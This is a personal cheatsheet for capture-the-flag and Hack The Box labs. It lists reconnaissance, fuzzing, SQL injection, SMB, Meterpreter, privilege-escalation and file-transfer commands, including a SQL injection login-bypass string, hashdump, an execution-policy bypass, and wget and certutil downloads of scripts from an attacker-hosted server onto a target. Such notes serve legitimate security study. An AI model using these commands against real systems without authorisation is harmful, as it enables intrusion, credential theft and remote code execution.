CTF Cheatsheet

This is a document just to keep myself consistent when doing CTFs or Hack The Box. I keep this in a Google Doc and so the formatting below is a little strange. I largely follow what I've learned from writeups and videos like lppsec's. I also rely on other cheatsheets, but writing things down here helps me remember them.

nmap

I like to run a basic nmap scan of the host:
`nmap -sV -sC -oA initial 10.10.10.X`

When that's complete, let's try scanning all the ports:
`nmap -T4 -A -p- -oA fullscan 10.10.10.X`

It can be also be useful to check ciphers on webservers:
`nmap -p 443 --script=ssl-enum-ciphers 10.10.10.X`

OSINT

Target validation: WHOIS, nslookup, dnsrecon, dig

Email-related:
`nslookup for SPF: nslookup -type=txt domain.com`
`nslookup for DMARC: nslookup -type=txt _dmarc.domain.com`

Getting subdomains: Google, dig, nmap, sublist3r, Bluto, crt.sh, fierce.pl, knockpy

Fingerprinting: nmap, wappalyzer (browser plugin), WhatWeb, BuiltWith, netcat

Data breaches: haveibeenpwned, weleakinfo.com (costs $2 for 24 hrs)

User/email enumeration: theharvester.py, hunter.io (free account requested)

Web servers and applications

Vulnerability scanning

Nikto is useful for finding vulnerabilities
nikto -h https://10.10.10.X

Directory enumeration

Dirb is one way to do directory enumeration
dirb http://10.10.10.X -r -o server.dirb

Gobuster is another:
gobuster dir -u http://10.10.10.X -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

wfuzz also does web-based enumeration
Here's one to enumerate directories with a wordlist
wfuzz -u http://10.10.10.X/FUZZ/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Here's an example to enumerate login POST data from a password list:
wfuzz -z file,wordlist/others/common_pass.txt -d "uname=FUZZ&pass=FUZZ" --hc 302

Password fuzzing

Hydra

SQL Injection

Manual

If given a login page, try in a given field:

test' OR 1=1; --

(potentially leads to: SELECT * FROM Users WHERE email='test' OR 1=1; –')

Some additional SQL injection syntax

Sqlmap

sqlmap -r login.req --level 5 --risk 3

(login.req is text of an burp suite intercept of a login request)

Services

SMB

Test for anonymous login:

`smbclient -L \\\\10.10.10.X`

SSH

https://community.turgensec.com/ssh-hacking-guide/

Active Directory

Responder (LLMNR poisoning)

Bloodhound for mapping hidden and unintended relationships in AD

Kerberoasting

CrackMapExec for password spraying in AD

Integration-IT AD Cheatsheet

Exploits and Metasploit

searchsploit [software name and version] (or use metasploit's search)

MSFvenom cheat sheet

msf>search suggester (module for priv esc when given an existing session)

Metasploit Unleashed

Useful shell commands

Shell elevation (from non-tty shell; just go down the list)

https://netsec.ws/?p=337

Spawn bash from shell
`python3 -c "import pty;pty.spawn('/bin/bash')"`

Bash
Show interesting files in home directory (potential flags):
`find /home -printf -type f "%f\t%p\t%u\t%g\t%m\n" | column -t`

Check versions of running software (searching for "pam" in this case):
`dpkg -l | grep -i pam`
`sudo -l`
`history`

Get Meterpreter shell from backgrounded shell:

post/multi/manage/shell_to_meterpreter

Meterpreter

getuid
sysinfo
hashdump (if privileged)
shell
load (tab to autocomplete and get list: kiwi, incognito, etc.)
getsystem (priv esc)

Windows network stuff
arp -a
netstat -an

Transferring files

Create HTTP server serving files in current directory on port 8000
python -m SimpleHTTPServer 8000

To download files from above server on linux:
wget 10.0.0.X/filename.sh

To download files from above server on Windows:
certutil -urlcache -f http://10.0.0.X:8000/filename.sh

Encoding and Decoding

From base64:
echo "SFRCe3YzcnNpMG5fYzBudHIwbF9hbV9JX3JpZ2h0P30=" | base64 --decode

CyberChef

Scripts and one-liners

For loop example: convert each line in text file tomcat.txt to base64 and print output

```
for cred in $(cat tomcat.txt); do echo -n $cred | base64; done
```

Print 20th line in file tomcat.txt

```
sed -n 20p tomcat.txt
```

Privilege Escalation

LinEnum

GTFOBins (linux)

Metasploit: local_exploit_suggester (once you have a session)

Windows:

https://www.fuzzysecurity.com/tutorials/16.html

Sherlock Rastamouse

windows-exploit-suggester (python script)

Windows example of Sherlock running:

C:\Users\kostas\Desktop>powershell.exe -exec bypass -Command "& {Import-Module .\sherlock.ps1; Find-AllVulns}"

Application-specific

Using Git

Show changes:

git log

See particular change:

git show <hex string for commit number>

Forensics

Here's a helpful cheatsheet

Scratchpad below

SMB: ports 139 and 445

smbclient

smbmap

https://medium.com/@arnavtripathy98/smb-enumeration-for-penetration-testing-e782a328bf1b

https://github.com/Tib3rius/AutoRecon (check tools that author refers to as well)

https://medium.com/threat-intel/what-is-living-off-the-land-ca0c2e932931 (links to LOLBAS: tool)

snmpwalk

Impacket (github): Logging into Windows machine with user:password@host:

psexec.py pentest:'P3nT3st!'@10.10.10.152

(can also smbexec.py or wmiexec.py but less interaction)

More impacket examples

Install on Windows VM (downloadable from Microsoft):

https://github.com/fireeye/commando-vm

Table of Contents for PWK

Ippsec video search